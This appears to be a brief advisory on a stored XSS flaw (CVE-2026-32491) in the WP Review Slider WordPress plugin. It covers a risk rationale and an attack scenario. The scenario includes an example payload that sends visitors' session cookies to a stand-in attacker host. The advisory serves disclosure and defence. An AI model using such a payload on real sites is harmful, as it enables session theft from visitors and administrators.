Wp Review Slider CVE-2026-32491

While CVSS and CVSS vector data are unavailable, the practical risk is HIGH based on multiple factors: (1) Stored XSS represents a critical vulnerability class with technical impact spanning confidentiality, integrity, and availability; (2) The vulnerability affects a WordPress plugin with potentially wide distribution, meaning many sites could be simultaneously compromised; (3) Stored XSS is highly automatable—attackers can inject payloads once and compromise all subsequent visitors without manual intervention; (4) The ENISA tracking (EUVD-2026-15833) and Patchstack reporting indicate active vulnerability intelligence community engagement; (5) WordPress plugins are frequently targeted and have high exploitation rates. The lack of CVSS scoring may reflect the vulnerability's recent discovery or reporting channel. Without explicit EPSS or KEV status data, assume this warrants immediate patching given the stored nature and plugin distribution model.

An attacker submits a review containing embedded JavaScript payload (e.g., <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>) through the WP Review Slider form. Due to improper input sanitization, the malicious script is stored in the database. When any WordPress user or administrator visits the page displaying reviews, the injected script executes in their browser context, exfiltrating session cookies or redirecting them to a phishing site. This affects all site visitors repeatedly until the malicious review is removed or the plugin is patched.